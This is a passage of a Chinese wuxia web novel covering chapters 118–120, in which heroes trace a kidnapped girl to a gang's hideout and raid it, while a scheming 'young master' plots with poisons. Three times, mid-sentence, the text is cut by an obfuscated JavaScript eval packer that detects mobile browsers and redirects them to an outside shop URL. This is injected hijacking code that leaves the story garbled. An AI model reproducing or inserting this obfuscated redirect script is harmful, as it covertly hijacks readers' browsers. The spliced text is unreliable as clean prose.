一切就绪,二人和鲁强夫妇道别,一前一后上了骡子。齐熙宁再三劝说他们不要出来送行,然后转过骡子脑袋,轻轻拍打它,往村外行去。 齐熙宁故意没有在面上做任何遮掩,为了就是让蹲守的那些人认出她和江珺翊,这样才能让对方相信,他二人是真的离开了村子,以后就不会再来找村里人的麻烦。这个打算江珺翊明白,对她的细心很是欣赏。 两人出村,行了不到三里地,路边守候的人便立刻涌了上来,齐熙宁搭上弓箭,解决了远处的几个。江珺翊在骡背上挥舞宝剑,挑开了靠近的几人。然后两人便催动骡子疾驰,尽可能早一点离村子远一些,他们才好大开杀戒。 齐熙宁还有一副袖箭,被她一直藏在包袱里,这时也被取了出来。当驰出较远,有人骑马追来时,她使出袖箭伤了马脚,马儿吃痛将背上的人抖落在地,恰好阻止了对方追赶的势头。 到了镇内,追上来的人又多了起来,齐熙宁仍旧横冲直撞,尽可能给追赶的人制造障碍,然后靠着白天踩踏好的路线,催动骡子驰到马行,二话不说冲了进去,指挥江珺翊跨上事先买好的马匹。 马行老板一脸震惊,完全不知道这是怎么一回儿事。只听加刚才来买马的那位姑娘丢下一句:“你的生意来啦!”就看到她和哥哥一人一匹马疾驰着出门远去。追来的人连马的尾巴都没能够上,他们中的一部分人继续奔跑追上,却只能看着马屁股越来越远,另一部分则着急忙慌地进去抢马。只这一会儿功夫,两人就已经奔出镇子,驰上了外间的大道。 下山前,江邵谦特地着人打造了一些标记物,长如铁钉,一头钝、平,上面刻画着北斗七星,另一头锻造地极是尖利,可以伤人,亦可钉在某处以作标记。这样,即使紫璇被俘,只要能沿路留下记号,江珺翊还可以找到她再设法救出。 江珺翊原以为贼人掳了紫璇会继续向北,便继续沿着汾水一路疾驰,遇有镇甸或路标便停下来查找标记,却毫无收获。日子一天天过去,紫瑛随时可能被发现真面目,性命危如累卵。江珺翊陷入深深的自责,深深为自己的无能懊悔。 齐熙宁不解,劝道:“你已经做到了自己能做的最好,只是敌人太厉害,你也无能为力。” “不,都是我不好。按计划,一旦紫瑛被掳,我就需紧紧跟随,直到发觉敌人的老巢或是他们的首领便可直接将人救走。可是我却被几个武功平平的人弄成了重伤,这才打乱了所有筹划,把事情耽误到这个地步。” “计划是计划,有几个人做事能完全按照计划走。再有,那些人武功是平平,但他们是有备而来,人数又几十倍于你,相比这般情境,你没死在当场已经算是幸运了。” 可此时此刻他根本听不进去齐熙宁的话,两只胳膊抱住脑袋,心中一遍遍重复着自责的话。 “这不是你的错!你最多是出师不利而已!”齐熙宁大声嚷道。 江珺翊这才有了反应,苦笑道:“怎么不是我的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369717|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要是让我爹知道,不知要罚我在政事堂跪多少个日夜。他一直叮嘱我要护好紫瑛紫璇两个妹妹,小时候我带着她们玩,哪怕伤了一点皮毛,爹爹都会痛打我一顿,如果这次紫瑛……我哪儿还能回太白山……” “你爹也太不通情理了!” 齐熙宁自己也闯过不少祸,一般这个时候,齐建霄会先听她的辩解,若真的有错,大多也只是让她自己分析错在哪里,如何弥补和下不为例,从不会打骂。听到江珺翊从小受着这么严苛的教育,她自然会觉得好没有道理。 “涉及家父,还请姑娘慎言。”江珺翊却从懊恼中回过神来,正色道。 齐熙宁白了他一眼:“怎么了?连句公道话儿也不准我说?” 江珺翊不语。 “你们年纪差不多,怎么能把所有责任都归到你的头上。” “我是男子,自然要担起责任来。” “瞎说!这么说的人岂不是无形中贬低了女孩,真当我们女子柔弱可欺,只能依赖于你们男人的保护呗!” 江珺翊语塞,他只是习惯了父亲灌输给他的一切,从没有认真想过为什么自己必须要保护两姐妹。 齐熙宁瞧了他一眼,越发替他不平:“你没有错,错的是你爹!” “齐姑娘!”江珺翊急了。 “凭什么子女犯错,父母说得,反过来父母犯错,子女却不能议论?不公平。”齐熙宁脾气上来,更加不肯服输。 “子不言父过,父母即使做得不妥,也不是为人子女可以议论的。更何况,他们阅历丰富,思虑又深,怎么可能犯错呢。”江珺翊闷闷回应。 “谁说大人就不会犯错?犯了错就不用负责任?”她挡住想辩论的江珺翊,一定要把底下的话说完,“小时候我爹爹冤枉我偷藏了镖局的印信,给我摆了好大的脸色,还让我拿不出印信就不准吃饭,后来才发现是他自己放在了别处。这件事做错的是他,他就向我道歉,还承诺以后一定会先听我辩解,而不是上来就冤枉指责!我爹都能为了一件小事认错,你爹为什么不行?而且,这件事中你有什么错?他只派你一个人护佑紫瑛姑娘,这才是错呢!” 齐建霄肯给女儿道歉的事,江珺翊根本想象不出那是什么样子。他也只能苦涩地替江邵谦解释两句:“天魄门人丁不旺,近来风声鹤唳,需要有人守在门中,这才拨不出人手。” “那不就行了,你们的本钱本来就不足,还想毫发无损地让所有计划变成现实,不啻于异想天开。要是将来你爹见了你二话不说就要责罚,你让我去和他辨一辨,保准让他哑口无言。” “你?”江珺翊抬眼瞧她,有点尴尬又有些窃喜。 “对,我要是觉得我爹处事不公,就会和他理论。他有理就听他的,可是如果我有理,那就得听我的。” 江珺翊原本想说“齐总镖头还真是宽容大度”,可这样一来似乎显得江邵谦小肚鸡肠,便换了句“好啊”将话题揭过。后来他总是不由自主地想起她气鼓鼓地要给自己讨个公道的模样。 两人最终在临汾发现了向东的记号。从这里向东,一直沿着太行古道来到洛阳,再至许昌、亳州乃至宿州,终于发现了敌人的老巢。聚在这里的大部分为响水帮,还有少部分曹家堡的人,之前追捕他们的人就出自响水帮。响水帮总舵在淮阴,主要在淮河上下活动,宿州也有其分舵。 江珺翊分析局势,对方人多势众,自己的伤只好了一半,冒然强攻难有胜算。徐州离此不远,便转道北上,去彭城派搬救兵。阮云飞一听紫瑛出事,二话不说便愿意援手,吩咐原航和潘睿留守,自己则带着小鸢周宴同江珺翊两人一起赶赴宿州。这才有了前面他们几人同瑾瑜和陆文渊的相遇。 118. 陷阱(一) 响水帮宿州分舵,一位年轻公子手执折扇坐于上座,正在指指点点地说着什么。面前两人侍立,一个是曹家堡的堡主卢金良,还有一个是响水帮帮主之子项大。 卢金良从袖笼中取出一个小小的锦盒,躬身递给那位年轻公子。 “少主,您要的东西属下寻来了。” 少主接过锦盒,从中拈出一颗黑色的丸药,送到鼻子跟前嗅了一下,问道:“这便是你说的,能够让人听我摆布的宝贝?” “就是此物,”卢金良稍稍欠身,眼中尽是得意,“此与‘噬魂散’成母子之势,木兰庄用二者控制了诸多劳力,奴役他们为自己劳作,没人敢反抗一丝一毫。噬魂散为母,一旦服下,就会令人脱力不起,时间一场还会没命。此物为子,给中毒之人每日服上一点儿,便可暂时解除毒性恢复正常,到了晚上又会再度陷入虚脱。如此一来,服毒之人根本离不开解药,必得永远听命于上位者。” 说到这,他身子弯地更低了一些,口气也不像之前那么高昂:“不过,我的人只能拿到这种解药,至于噬魂散……木兰庄内现有一干不知从哪来的势力镇守,属下不得入其门,恐怕还得再想一想法子。少主清放心,只要拿到了噬魂散,再寻个毒师弄清楚这两样东西的制法,一定能所向披靡无往不利。” 少主露出微笑,显然并未因他做事只做了一半而有所不满。他从自己随身的香囊中取出一截粗短的香饵:“你有这份心思便好,不过用不着这么麻烦。” 他叫来一直站在他身后的随从,将两样东西一起交给他:“把这两样东西带给温叔,告诉他,务必想法子让王三山那老东西研制出一模一样的毒物和这种只管一时的解药。还有,成功之后再找几个人吃下去试一试。那老头子狡猾得紧,叫温叔一定多长个心眼!” 随从领命而去,少主才又向卢金良道:“做的好!一旦这件东西被研制出来,我们能够动用的力量就能翻上好几番。” 他看了看卢金良,起身以扇代手拍拍他的肩膀:“卢叔,你居功甚伟,我要替父亲多谢你。” 卢金良可不敢承受这样的赞誉,立刻躬身行礼:“属下岂敢,能为主人和少主效力,是我曹家堡的荣幸。” 少主哈哈大笑,又回到上首坐下,挥开扇面摇了几下:“上一回你邀请几位叔伯一起上太白山逼宫,事情就做得极为漂亮,我爹对你们赞不绝口呢。” 卢金良舔了舔嘴唇:“都是主人和少主筹谋得宜,我不过是照章办事而已。” “卢叔不必过谦。你和我爹曾同在天魄门麾下,论起辈分来我还是你的晚辈呢,你一口一个少主的,到叫我不好意思。” 卢金良不自然地笑了笑:“少主哪里的话。您虽然年轻,但雄才大略,智勇双全,一向都被主人倚为左膀右臂。我们见了少主就和见到主人一样,绝不能怠慢分毫。” “卢叔不仅会办事,做人也很有一套!” 少主大笑着,很是满足于他的恭维。然而下一瞬他的笑容立马消失,换上不满与审视,对一直如履薄冰一半立在另一侧的项大道:“响水帮可就不一样啦,到了我手底下,第一个差事就办砸了!让你们抓一个柔柔弱弱的小姑娘,竟然还能让她跑了。如果不是我亲自出马,你们准备如何交差啊?” 项大立即跪倒,却一个字也说不出来,更别提为自己辩解了。 “人差点放跑也就算了,关键是竟然还抓错了人。” 这下项大方才想起了辩解之词,立马道:“少主,那姑娘的易容之术不同以往,属下明明验过都没能瞧出破绽,实在是厉害。而且被我们拘着的那几日,她也无法洗脸,我们这才发觉不了……” “闭嘴!”少主喝道,项大猛地顿住,不敢再出声。 “发觉不了?那我是怎么发现的?” “少主英明睿智,自然不是我等可以比拟的。”项大伏在地上,绞尽脑汁也只能说出这么一句废话。 “哼!”少主显然不是好糊弄的人,“别想着说句好听的就能减轻自己的过失。若不是你们办事疏忽,我们能被蒙在鼓里这么些天吗?这个时候,想必贺新韵早已经到了西河,现在再想去抓她已经没了可能。抓住她对于我父亲接下去的筹谋何等关键,你这样惫赖无用,还留着干什么!” 项大连连告罪,但声如蚊蚋,在少主的疾声厉色之下几乎可以当做不存在。 “要不是你们抓来的这个姑娘还有那么一点用处,你以为你的脑袋还能待在脖子上吗?” “属下知罪!属下知罪!求少主给个机会,让我、让响水帮能够戴罪立功。我保证,后面的任务绝对不会出任何差池!” 少主面目狰狞:“认真点!要是不想你的老爹有差池,你做事也该多一些分寸才行。” 项大在地上猛磕了几个头,哀告连连。 “好了!”少主不耐烦地挥了一下扇子,指着他的鼻子:“你爹还没死呢,哭什么丧!去把人给我看好,救她的人只会早不会晚。这一次,你要是还抓不住我要的人,不光你爹,你和你弟弟都别想好过!” 项大马上起身,扭着身子勉强行了一礼之后马上出了门。 少主训斥项大之时,卢金良一直安静地待在一旁。这时才又看到他转向自己:“卢叔,贺新韵没抓到,咱们棋差一着,原先的筹划怕是要黄。贺家庄那边还是要多派些人过去,咱们好见机行事。” 卢金良即刻领会:“是,属下会带人前去。” “好,牢记你的身份,切莫露了马脚。” “少主放心,属下明白。曹家堡是天魄门旧属,江湖上既然有了藏宝图的线索,自然要去问一问。” “贺永识那边……” “我和他多少有一点交情,可以先去探探口风。” “卢叔办事就是让人放心。”少主又恢复了意气洋洋的模样。 ********************* 项大绕到后院一间小屋外,看守的人立刻向他问好:“大爷。” “里面的人怎么样了?”项大问。 “男的一直昏厥,女的静静呆着。” 项大从一处小窗向内望去,紫瑛正坐在干草垛上,手脚被牢牢捆住,目光呆滞,一动不动。她的身边有个黑影,卧倒在地。 他把头收回来,对院子里所有的看守道:“都警醒些,一刻都不要闭眼!” “是!”响水帮众人齐声应道。 少停,紫瑛确定窗户边上的人已经离开,这才微微躬下身子,凑到地上那人耳边,低声唤道:“杜公子……杜公子……” 可那人毫无反应,别说回应了,连手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369718|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头都不动一动。 紫瑛焦心不已,杜彦成为了帮她,被贼人打晕了过去,过去这么久都不见醒转,也不知道是不是因为伤得太重的缘故,要是……要是他醒不过来可怎么办? 她和杜彦成被关在这里已有两天。昨天早上有人来放话,告诉她她之所以还活着,是因为贼人预备以她为饵,诱捕紫璇,还说紫璇已经在来的路上了。自己关心则乱,和对方起了口角,那人想伤害她,杜彦成明明被绑着,见势头不好立马整个人扑了过来。来人被激怒,用手里的刀猛地砸到了他的头上,杜彦成登时晕了过去,此后便再未醒转。 江珺翊杳无音讯,杜彦成因她受累,紫璇也即将踏入陷阱,紫瑛从未独自面临过这等惨局,根本不知道该如何应对。她能想到的,只有先设法逃出去。 她艰难地从身后摸出一只铁钉,继续反手磨起绑住自己的麻绳。这只铁钉就是江邵谦打造的那批标记之一。在被抓的同时,她身上还剩下的几支铁钉都被贼人一齐搜了去。只有这一只,是她在危急时刻突生急智藏在头发里的。 在这间屋子里醒来后,她就想办法取了下来,试图用它划破绳索。无奈,她跑过一次,敌人这回长了教训,将她的手脚捆得要多紧又多紧,她的手几乎用不上劲,对着最外侧的麻绳磨不了几下铁钉就会脱手,她就得设法再捡起来继续磨。虽然努力了很长时间,手腕酸痛得不得了,还被磨破了很大一块皮,绳索也只被她磨穿了一小部分。 话说在太岳山下,江珺翊好不容易将围攻的圈子撕开一点口子,让她逃了出去。她满心想着“跑远一点,尽可能跑远一点再被擒”,骑着马跑了约有百里才被前方埋伏的人打落马下。 贼人将她捆缚,扔到一辆马车里,有人下令:“快将人送到少主那里。”继而马车出发,一路极尽颠簸。她挣扎了许久才坐起来,从车厢的缝隙往外看,两侧山壁飞速向后,模糊难辨,似乎是在荒无人烟的山道之中疾行。马车一夜未停,一直到第二天傍晚才到了一处市镇。负责押送他的人直接将马车停在一家客店门外,问老板买些清水和吃食,还一个劲地叫他快一些。 这可能是她逃脱的唯一机会,还好她早有准备。早在前一天她就用藏在衣襟中的薄刃割开了绳索,只是让它原样缠在自己的身上以免被人发觉。 看押的人端了一碗水准备送进来,他刚取下锁头打开车门,一道影子便冲了出来。此人仰头栽到,碗落在地上发出“噼啪”的响声。他的兄弟们正在店门口闲坐,听到声音弹起来时,看到的已经是紫瑛背影。 紫瑛顾不上方向,只管一路狂奔,追捕之人偶有近身,也被她使出薄刃击退。但击退一个便会有下一个顶上,如此僵持不是办法,她必须要找个地方先躲起来,可是躲到那里才不会被发现呢? 她捡着人多的地方蹿进去,一定程度上阻碍了追来的人。遇有一处巷道,她来不及多想便撞了进去,结果……那里却已经埋伏了不少人。心惊肉跳之下,紫瑛立刻使出拳脚功夫,对手功夫一般,但人数不少,她只能尽可能用薄刃多伤几个。但她武艺毕竟有限,刚伤了五六个打手,薄刃却被对手夺下。她便从随身的布袋中摸出两只铁钉,一手一个,继续与之对峙。 后方追来的人声音渐渐近了,前有埋伏、后有追兵,难道她还是逃不出贼人的手掌心吗? 119. 陷阱(二) “你们在干什么!!!” 危急时刻,远处传来一声暴喝,然后便有几个壮汉奔来,瞥见人群核心竟然是一个年轻姑娘在奋力抵抗,二话不说随即出手,没花多少功夫便解决了这拨人马。后面追上来的敌人见他们势头凶猛,不由得退却两步,为首之人审时度势,朝后方一挥手,来人随即散开,片刻间便没了踪影。 敌人一走,紫瑛再也控制不住腿软,跌坐在地上,久久没有回神。 “姑娘,发生了什么事?何故与刚才那伙人起了冲突?” 一道身影覆了过来,遮住了明晃晃的日头,关怀的语调也让紫瑛终于相信自己已经安全了。她抬起头,对上的竟然是一双熟悉的眼睛。她有些发懵,再去看围着她的其余人,护卫丁晟大哥赫然在列,她这才有了实感,真的是杜彦成救了她。 此时紫瑛尚保持着贺新韵的模样,杜彦成并不知道她为何呆愣不语,又为何急忙去看自己的从人,以为她惊吓过度,失了心智,便再走进一些,又问了一遍。且怕吓着她,问的时候语气更加轻柔。话刚刚出口,紫瑛就再也忍不住哭了起来。 “姑娘,”杜彦成有些尴尬,急忙从自己怀里掏出一方手帕递给她,“你别怕,我的护卫会武,他们若还敢欺负你,来一个咱们就打跑一个,你……你不会有事的。” 待情绪发泄地差不多了,紫瑛才止住哭声,红着眼睛去看杜彦成:“杜公子、丁大哥,多谢你们,又救了我一次。” 初次见面的女子竟然知道自己和随从的名姓,杜彦成大惊:“姑娘认识我?” “当然认识,上一回也是你帮了我。”她见杜彦成仍旧一头雾水,便破涕为笑,“一会咱们就认识了。” 杜彦成不解,但看她对自己十分亲切,似乎他们之前真的见过,正在绞尽脑汁回忆自己什么时候救过这么一位姑娘,又听她问道:“你又是来跑生意的?如今住在哪儿?可以收留我吗?” “当然……可以。” 紫瑛随他们回了租赁的客栈,打水洗去面上伪装,终于得以露出自己的本来面目。一旁的杜彦成这才认出她,又惊又喜道:“竟然是你……刚才……”他伸出手在她的面前比划了两下,显然是想问,刚才是怎么回事。 紫瑛甜甜笑道:“我假扮的,厉害吧。” 杜彦成捧场地鼓了几下掌,大笑道:“没想到紫瑛姑娘还有这样的本事,厉害!厉害!” 他身边的三个人见她瞬间就变了个人,先是惊讶,跟着也笑出声来。 杜彦成告诉她,自己来洛阳主要是为了和这边来往的商行对一对这半年的账目,没带很多人,只有一个随从和两个护卫跟在身边。今日刚到不久,本来是要去寻一家出名的酒楼吃些好的,没想到在路上遇到一伙人追赶一个姑娘,听路人说追了好几条街。他便觉得蹊跷,担心是什么恶人要欺负良家女子,便和护卫们抄近道赶到了前面,这才救下了她。 “多亏了你,不然我肯定又得让他们抓回去!”紫瑛心有余悸,一边说话一边一下一下地抚着心口。 “到底怎么回事?他们是谁的人,为什么要抓你?” 涉及天魄门的谋划,紫瑛不能多说,只道:“你知不知道,天魄门最近有很多麻烦。这些人就是我们的对头派来的。至于为什么非得抓我,我就不太清楚了。” “那你为何孤身一人?女孩子一个行走江湖也太危险了。” “原本我和师兄是一起的。但是敌人太多,我和他被分开了。之后敌人就抓住了我,一直到这儿我才寻了空隙从他们手上逃出来,还差点没逃成功。” “你还真是运气好。要不是我们刚好遇上,看那些人的架势,肯定不会放过你。” 紫瑛点点头,旋即又笑了出来:“现在好了,我改了装扮,他们已经不认得我了,就让他们去找那个人吧,哈哈哈。” “既然危机解决了,我们就去吃饭吧,你被抓了这么久,是不是一直饿着?” 紫瑛猛地点了一下头,撇嘴道:“我都快饿死了,”她捂着肚子,“早知道吃了那伙人的饭再逃。” 看着她已经有精神说笑,杜彦成也跟着开心道:“他们能给你什么好的?肯定比不上我买的,走吧,带你去吃洛阳名宴好不好?” 上次见面时紫瑛忙于挂心刘承毅和一众孩子,和杜彦成的接触并不多这次终于有机会可以多聊一会。紫瑛刚出牢笼,本就格外欣快,再加上杜彦成说话风趣,有意逗她多笑一笑,席间欢声笑语不断,同在雅间里用饭的护卫和随从们难得见自家少爷对一个姑娘如此用心,彼此心照不宣,只管大嚼大吃。 紫瑛又向杜彦成问起他和瑾瑜打小的友谊,以及他是何时认识紫璇的,这才知道原来紫璇还参加过瑾瑜的生日宴。 “瑾瑜这小子,还当我看不出来,他呀八成是看上紫璇姑娘了,这才那般殷勤。”说到瑾瑜,杜彦成便习惯性地要编排两句。 事关紫璇的八卦,紫瑛越发来了兴致:“真的吗?” “八九不离十,他瞧着紫璇姑娘的眼神都不一样,还特意让她留下来给自己过生日。他们非亲非故的,为什么要这么做?” “那紫璇呢?她知道方公子的心意吗?” “嗯……”杜彦成想了想,“或许不知道?瑾瑜心思细腻,不像是轻易唐突之人。紫璇姑娘又话少,也没有什么表情,从她那里也看不出什么。”他又瞧着紫瑛,“你是她的亲姐姐,要是你都不知道,那估计紫璇姑娘应当也还蒙在鼓里。” 紫瑛的嘴扁了扁:“我……这种事就算有,她应该也不会跟我讲。” 比起这句话,她的略有些失落的表情更让杜彦成好奇:“怎么了?就我上次所见,你们俩姐妹关系不是挺好的吗?” 此话戳中了紫瑛的痛处,她停了筷,不再言语,脸色也随即暗下去。 “我……是不是问了不该问的问题?”杜彦成略微有些尴尬,小心翼翼的觑着她的脸色。 良久,紫瑛才有些答非所问地说:“我做了不该做的事,惹她生气了。” “怎么回事?”杜彦成也放下碗筷,关切道。 “我要是告诉你,你可不能笑话我。” “怎么会呢?” 杜彦成贴心地将随从和护卫遣出去喝酒,以免紫瑛觉得尴尬。 看着他柔和的目光,紫瑛很容易就放下心来,开始从头说起:“我自出生起就没了娘亲,所以一直把璇儿的娘当做自己的亲娘。她……她待我很好,甚至有的时候比待璇儿都好。璇儿虽然很少抱怨,但我知道她因为这个一直都不太开心。后来,娘死在了夺门之变里,璇儿被姥姥带走就再也没有回来。娘走了,她也走了,我一个人在那么大那么空的山上,连个玩伴都没有,夜里总是很害怕。我怕得紧了,就会躲进娘的房间。说不上为什么,在她那儿我总是能安心睡到第二天晌午。后来我就把我的东西全都搬了过去,住在了那里。” 她说到这,特意去瞄了一眼杜彦成的脸色,他听得很认真,没有一丝一毫的嫌弃和鄙夷。 “这次武林大会一结束,璇儿就回了太白山,然后就……就发现了这件事……” “她生气了?”杜彦成轻轻问道。 紫瑛点头,深吸了一口气:“她有资格不开心,毕竟那是她的亲娘,不是我的。” “可这也不是你的错呀。”杜彦成的柔柔的声音拂过紫瑛心上,她有些惊讶,抬起头看着他的眼睛,听他继续说道,“你也需要母亲的陪伴,哪怕她故去了,留下的东西多多少少也能给你一点安慰。你只是太想有个人爱你、陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387873|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己罢了。” 杜彦成的话音尚未落下,泪水便无意识地涌上了紫瑛眼角,她低下头:“可是,我总觉得对不起她。” “这种事情也没有办法,你多对她好一些也就是了。” “因为知道她在意这一点,所以从小我都让着她。想着只要她开心,那爹娘也都会开心。”话匣子打开,紫瑛的心里藏着的言语自然而然就流淌了出来:“小的时候璇儿总生病,可她又不爱吃药,我就成了她的药僮,每日什么时辰吃药、吃多少、怎么吃没有人比我更清楚。” “你是个很好很好的姐姐。” “我能做的也只有这些了。她天赋高,又肯用功,武功学得又快又好,爹爹很喜欢。我没有她那样的本事,只希望能够做个好姐姐、好女儿,让大家都开心一些……” 她的声音渐低,言语间的酸楚直达杜彦成的心底:“是啊,为了让爹娘高兴一些,我们只能尽力做个听话的孩子。不过,好像不是那么容易呢。”杜彦成端起酒杯,随着一声叹息把酒咽了下去。 他话里有话,勾起了紫瑛的好奇:“你……也是这样吗?” 杜彦成对此并不避讳:“是,我和你差不多,娘亲走得早,爹爹又痴迷于求仙访道,我们家的家业早早便交到了我的手上。我不到十五岁,就要学着打理商行、调派人手,遇上看不起我年纪小故意要为难我的,我还得想办法弹压。我爹爹是个要求极高的人,每次查问家中大小事,我都要小心翼翼的回话,稍有不妥,他就会冷语相对。可是不管我怎么努力,把事情做得多好,他总能挑出错处,严厉斥责。这么多年,我从未听他夸过我一句。” 说到这里,杜彦成又闷了一口酒。 两人同病相怜,紫瑛也垮下脸,幽幽说道:“做个好孩子怎么那么难?”沉默了一会儿,突然又加上一句,“你知道吗?我虽然比紫璇大一些,名字却是跟着她起的。爹爹先定了她叫‘紫璇’,才顺带着给我取的名。” “你爹爹……莫不是他更喜欢紫璇姑娘的娘亲?”杜彦成试探着问道,声音极轻。 “嗯。” 多年以来,紫瑛从未听文远骥提起过自己的亲生母亲,除了一座坟茔,天魄门上下找不出半点她曾经存在过的痕迹。每年清明忌日,文远骥都会在守在紫璇娘亲墓前坐上大半日,和她说话儿,却好像从来也想不起其实自己还有一位妻子。只是 这些揣测和失落,紫瑛从来都不曾向人提起。今天若不是杜彦成懂她,估计她也还是会继续把它埋在心里。 紫瑛神色落寞,沉默不语,杜彦成不难想象她此刻的难过。他举起两杯酒,递给紫瑛一杯,尽力扯着自己的唇,让它弯出一点儿弧度:“子女不能选择父母,少时大多要受委屈。可一旦长大,自己的日子便自己说了算!紫瑛姑娘,喝了这杯酒,把过去抛诸脑后,咱们……向前看!” 紫瑛慢慢露出笑容,学着他将杯中酒一饮而尽:“说得对!既然长大了,以前的事就让它过去吧,咱们俩都要向前看!” 杜彦成举着空杯,目不转睛地望着紫瑛,紫瑛被她看的有些不自在,装作吃菜低下了头。杜彦成浅笑一声,将头转了开去。 正在这时,丁晟急匆匆撞开雅间的门,大喊:“少爷快跑,贼人杀进来了!” 杜彦成和紫瑛皆是大惊,他突然明白过来:“你虽然改了面容,可我们几个还是一如刚才。他们定是盯上了我才找到这里来的。” 他刚刚说完最后一个字,丁晟已然被来人打翻在地,杜彦成没带兵器,徒手和冲进来的人斗了起来。紫瑛也以筷为剑,戳瞎了一个人的眼睛。 可他们俩的功夫都是半吊子,而对方派出的人明显比之前的功夫好上不少。于是,在稍作抵抗之后,两人均被擒住,用麻绳扭在了一起。 120. 反杀 早就过了三更,后院里却仍然和白天一样安静。响水帮的人在此守了一天,早就疲累不堪,夜里又有些寒津津的,少不得抱怨了一两句。项大同样等得心焦,听到手底下的人竟然还有闲心说话,立刻骂了回去,众人这才又强打起精神。 又过了一个时辰,几个看守都有点昏昏欲睡,只是碍于项大就在院中,只好暗中掐一掐自己的大腿让自己尽量清醒一些。驻守前院的人也好不到哪儿去,一样哈欠连天,盼着该来的人早点来,办完了差事还能睡上一两个个时辰。 这时,前门响起敲门声。 “何富,你回来啦!” 守门人见是她,随即把门开得更大了些。哪知何富不开口、不迈步,反倒向后让了一让,然后下一刻两个鬼魅般的黑影从两侧同时窜出,一出手就解决了七八个人。其余见对方来势汹汹,不由得倒退了两步。 有人大喊了一声“他们来啦!”四周随即涌出无数响水帮众,推着推后的少数几个人,一齐向着韩仲昌和瑾瑜发起了进攻。 后院中,关押紫瑛和杜彦成的小屋内外风平浪静,守在门口的几人相互挤眉弄眼,正无声地交流着差事的辛苦。一个人刚刚还提醒同伴,莫要弄出动静,免得挨骂,下一瞬就倒了下去,连哼都没哼一声。其余人还来不及发出惊叫,随即也齐刷刷栽倒。 项大最为警觉,在一片寂静中发觉有人跌倒,立马回头,便看到小屋外的几个人全都躺在地上。紧接着,五道黑影自后方屋檐疾速俯冲下来,分赴不同方向。 阮云飞在高处早就瞅准了项大的位置,一现身便直冲着他的面门而去。项大心中大骇,忙运起手中大刀,猛地挥向阮云飞,但对方的速度明显更快,下一刻自己的前胸中剑,还被她踢了一脚。与此同时,后院各个角落也源源不断奔出人手来,将前来营救的五人团团围住。 紫璇出手毫不留情,她周围的地上霎时间已经有了十来具尸首。阮云飞伤了项大之后也加入战团,还专挑敌人的手腕,逼得响水帮众人后退连连。陆文渊没有兵器,仅凭一双肉掌纵横于人群之中,凡是敢靠近他的人均被他一掌一个推出老远。几个多月过去,陆文渊的功夫大有长进,被他伤到的人即便不倒,也往往胸痛难忍,即刻间冲不上来。更有胜者嚎叫不已,使得周围人更加不敢上前。江珺翊刀伤未愈,虽然可以出招,但威力大减,齐熙宁一面御敌,间隙里还要帮他抵挡一两下。 小屋门外不知何时又多了一对年轻男女,两人试了许久都打不开门锁,正在想办法卸窗户。捂着心口勉强爬起来的项大看到这一幕,立刻怒吼着指挥人去窗外阻止他们。紫璇旋即腾空而起,抢在响水帮人之前护住小鸢和周宴,又横剑狂扫,一下子放到了数人。 响水帮众人见对手个个勇悍,不由得心生惧意,攻势明显缓和下来。趁着这个间隙,紫璇取出匕首将门锁斩断,小鸢和周宴立刻闪进门中去救人。 紫璇刚刚回头,一名年轻男子踩着几个响水帮之人的头颅,飞过院子,落到了她的对面。 仅仅一个照面,紫璇便认出来,来的正是和吴宏设局抓捕自己、又亲自出面阻止自己带走阿琼的那位“少主”。 和上一次一样,少主并不急于进攻,反而好整以暇地向她道了声“别来无恙”。 “少说废话!”紫璇咬牙斥道,无心和他多说,立刻挺剑刺出。少主身子一闪,避过她汹汹的来势,轻巧地落在了门边。 另一边,瑾瑜和韩仲昌也已经从前院赶来,正从后往前给敌人以痛击。有了帮手,阮云飞便能够分出精力去关照独自去救人的紫璇。少主的闪避恰好落在她的眼里,心中感叹的话尚未结束,她又瞥见了那人的脸。 “少庄主!”她叫了一声,“你不在倪家庄中坐镇,竟在这里做起了掳掠人口的把戏,这可和你口中主持江湖道义的话背道而驰啊。” 对面那人刚刚站定,听见阮云飞讥刺的话语,面上并无任何反应,只是抬了抬眼,懒洋洋道:“阮掌门,你如愿坐上彭城派的掌门,这里面多多少少也有些我的功劳,你不准备感谢感谢在下吗?” “哼!谢你什么?谢你买通夏中宇暗害于我吗?” 紫璇一心只想救出紫瑛,并无意和他多做周旋。阮云飞话音未落,她已再度持剑跃起,这一次少主没有闪避,反而返身冲向屋内,一瞬间之后已然扯着紫瑛出现在了门外。 小鸢踉跄着追出来,还抱着自己的肚子,显然刚刚被他伤了。此刻只能扒住门框从后面看着他和紫瑛的背影,又疼又愧,急得快要哭出来。 